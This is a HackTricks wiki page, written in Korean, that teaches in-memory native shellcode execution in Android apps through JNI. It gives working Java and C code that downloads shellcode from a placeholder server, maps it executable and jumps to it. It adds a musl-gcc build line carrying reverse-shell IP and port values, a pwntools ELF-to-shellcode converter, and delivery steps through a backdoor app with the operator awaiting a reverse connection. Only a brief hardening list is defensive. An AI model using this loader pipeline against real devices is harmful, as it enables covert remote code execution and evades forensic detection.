Android์—์„œ JNI๋ฅผ ํ†ตํ•œ In-Memory Native Code Execution (shellcode)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ด ํŽ˜์ด์ง€๋Š” untrusted Android ์•ฑ ํ”„๋กœ์„ธ์Šค์—์„œ JNI๋ฅผ ์‚ฌ์šฉํ•ด ๋„ค์ดํ‹ฐ๋ธŒ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์™„์ „ํžˆ ๋ฉ”๋ชจ๋ฆฌ ๋‚ด์—์„œ ์‹คํ–‰ํ•˜๋Š” ์‹ค๋ฌด ํŒจํ„ด์„ ๋ฌธ์„œํ™”ํ•ฉ๋‹ˆ๋‹ค. ์ด ํ๋ฆ„์€ ๋””์Šคํฌ์— ๋„ค์ดํ‹ฐ๋ธŒ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ƒ์„ฑํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค: raw shellcode ๋ฐ”์ดํŠธ๋ฅผ HTTP(S)๋กœ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ , ์ด๋ฅผ JNI ๋ธŒ๋ฆฌ์ง€๋กœ ์ „๋‹ฌํ•œ ๋‹ค์Œ RX ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ• ๋‹นํ•˜๊ณ  ์ ํ”„ํ•ฉ๋‹ˆ๋‹ค.

์™œ ์ค‘์š”ํ•œ๊ฐ€

  • ํฌ๋ Œ์‹ ์•„ํ‹ฐํŒฉํŠธ ๊ฐ์†Œ (๋””์Šคํฌ์— ELF ์—†์Œ)
  • ELF exploit binary์—์„œ ์ƒ์„ฑ๋œ โ€œstage-2โ€ native payloads์™€ ํ˜ธํ™˜
  • modern malware ๋ฐ red teams๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” tradecraft์™€ ์ผ์น˜

High-level pattern

  1. Java/Kotlin์—์„œ shellcode ๋ฐ”์ดํŠธ๋ฅผ ๊ฐ€์ ธ์˜ด
  2. ๋ฐ”์ดํŠธ ๋ฐฐ์—ด์„ ์ธ์ž๋กœ native method (JNI)๋ฅผ ํ˜ธ์ถœ
  3. JNI ๋‚ด๋ถ€: RW ๋ฉ”๋ชจ๋ฆฌ ํ• ๋‹น โ†’ ๋ฐ”์ดํŠธ ๋ณต์‚ฌ โ†’ mprotect๋กœ RX๋กœ ๋ณ€๊ฒฝ โ†’ entrypoint ํ˜ธ์ถœ

Minimal example

Java/Kotlin side

public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}

// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);

C JNI ์ธก (arm64/amd64)

#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}

JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;

// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;

jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }

memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);

// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);

int (*entry)(void) = (int (*)(void))buf;
int ret = entry();

// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}

์ฐธ๊ณ  ๋ฐ ์ฃผ์˜์‚ฌํ•ญ

  • W^X/execmem: ์ตœ์‹  Android๋Š” W^X๋ฅผ ์ ์šฉํ•ฉ๋‹ˆ๋‹ค; ์ต๋ช… PROT_EXEC ๋งคํ•‘์€ JIT๊ฐ€ ์žˆ๋Š” ์•ฑ ํ”„๋กœ์„ธ์Šค์— ๋Œ€ํ•ด (SELinux ์ •์ฑ…์— ๋”ฐ๋ฆ„) ์ผ๋ฐ˜์ ์œผ๋กœ ์—ฌ์ „ํžˆ ํ—ˆ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ผ๋ถ€ ๊ธฐ๊ธฐ/ROM์€ ์ด๋ฅผ ์ œํ•œํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ํ•„์š” ์‹œ JIT-allocated exec pools ๋˜๋Š” native bridges๋กœ ๋Œ€์ฒดํ•˜์„ธ์š”.
  • Architectures: shellcode ์•„ํ‚คํ…์ฒ˜๊ฐ€ ๊ธฐ๊ธฐ์™€ ์ผ์น˜ํ•˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”(์ผ๋ฐ˜์ ์œผ๋กœ arm64-v8a; x86์€ ์—๋ฎฌ๋ ˆ์ดํ„ฐ์—์„œ๋งŒ).
  • Entrypoint contract: shellcode ์ง„์ž… ๊ทœ์•ฝ(์ธ์ˆ˜ ์—†์Œ vs ๊ตฌ์กฐ์ฒด ํฌ์ธํ„ฐ)์„ ๊ฒฐ์ •ํ•˜์„ธ์š”. position-independent (PIC)๋กœ ์œ ์ง€ํ•˜์„ธ์š”.
  • Stability: ์ ํ”„ํ•˜๊ธฐ ์ „์— instruction cache๋ฅผ ์ง€์šฐ์„ธ์š”; ์บ์‹œ ๋ถˆ์ผ์น˜๋Š” ARM์—์„œ ํฌ๋ž˜์‹œ๋ฅผ ์ผ์œผํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํŒจํ‚ค์ง•: ELF โ†’ positionโ€‘independent shellcode ์•ˆ์ •์ ์ธ ์šด์˜ ํŒŒ์ดํ”„๋ผ์ธ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • exploit์„ musl-gcc๋กœ static ELF๋กœ ๋นŒ๋“œํ•˜์„ธ์š”
  • ELF๋ฅผ pwntoolsโ€™ shellcraft.loader_append๋ฅผ ์‚ฌ์šฉํ•ด selfโ€‘loading shellcode blob์œผ๋กœ ๋ณ€ํ™˜ํ•˜์„ธ์š”

๋นŒ๋“œ

musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""

ELF๋ฅผ raw shellcode๋กœ ๋ณ€ํ™˜ (amd64 ์˜ˆ์ œ)

# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")

์™œ loader_append๊ฐ€ ์ž‘๋™ํ•˜๋Š”๊ฐ€: ์ด๋Š” ๋‚ด์žฅ๋œ ELF ํ”„๋กœ๊ทธ๋žจ ์„ธ๊ทธ๋จผํŠธ๋ฅผ ๋ฉ”๋ชจ๋ฆฌ์— ๋งคํ•‘ํ•˜๊ณ  ๊ทธ entrypoint๋กœ ์ œ์–ด๋ฅผ ์ „๋‹ฌํ•˜๋Š” ์ž‘์€ ๋กœ๋”๋ฅผ ์ƒ์„ฑํ•˜์—ฌ, ์•ฑ์ด memcpyโ€™edํ•˜์—ฌ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๋‹จ์ผ raw blob์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

Delivery

  • ์ž์‹ ์ด ์ œ์–ดํ•˜๋Š” HTTP(S) ์„œ๋ฒ„์— sc๋ฅผ ํ˜ธ์ŠคํŠธํ•œ๋‹ค
  • ๋ฐฑ๋„์–ด/ํ…Œ์ŠคํŠธ ์•ฑ์ด sc๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ  ์œ„์— ๋‚˜์˜จ JNI ๋ธŒ๋ฆฌ์ง€๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค
  • ์ปค๋„/์œ ์ € ๋ชจ๋“œ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์ƒ์„ฑํ•˜๋Š” ๋ฆฌ๋ฒ„์Šค ์—ฐ๊ฒฐ์„ ์ˆ˜์‹ ํ•˜๊ธฐ ์œ„ํ•ด ์šด์˜์ž ๋จธ์‹ ์—์„œ ๋Œ€๊ธฐํ•œ๋‹ค

Validation workflow for kernel payloads

  • ๋น ๋ฅธ ๋ฆฌ๋ฒ„์‹ฑ/์˜คํ”„์…‹ ๋ณต๊ตฌ๋ฅผ ์œ„ํ•ด symbolized vmlinux๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค
  • ๊ฐ€๋Šฅํ•˜๋ฉด ํŽธ๋ฆฌํ•œ debug ์ด๋ฏธ์ง€์—์„œ primitives๋ฅผ ํ”„๋กœํ† ํƒ€์ดํ•‘ํ•˜๋˜, ํ•ญ์ƒ ์‹ค์ œ Android ๋Œ€์ƒ์—์„œ ์žฌ๊ฒ€์ฆํ•ด์•ผ ํ•œ๋‹ค (kallsyms, KASLR slide, page-table layout, and mitigations differ)

Hardening/Detection (blue team)

  • ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ ์•ฑ ๋„๋ฉ”์ธ์—์„œ anonymous PROT_EXEC์„ ๊ธˆ์ง€ํ•œ๋‹ค (SELinux policy)
  • ์—„๊ฒฉํ•œ ์ฝ”๋“œ ๋ฌด๊ฒฐ์„ฑ์„ ์ ์šฉํ•œ๋‹ค (no dynamic native loading from network) ๋ฐ ์—…๋ฐ์ดํŠธ ์ฑ„๋„์„ ๊ฒ€์ฆํ•œ๋‹ค
  • RX๋กœ์˜ ์˜์‹ฌ์Šค๋Ÿฌ์šด mmap/mprotect ์ „ํ™˜ ๋ฐ ์ ํ”„ ์ „์— ์ผ์–ด๋‚˜๋Š” ๋Œ€์šฉ๋Ÿ‰ ๋ฐ”์ดํŠธ-๋ฐฐ์—ด ๋ณต์‚ฌ๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•œ๋‹ค

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ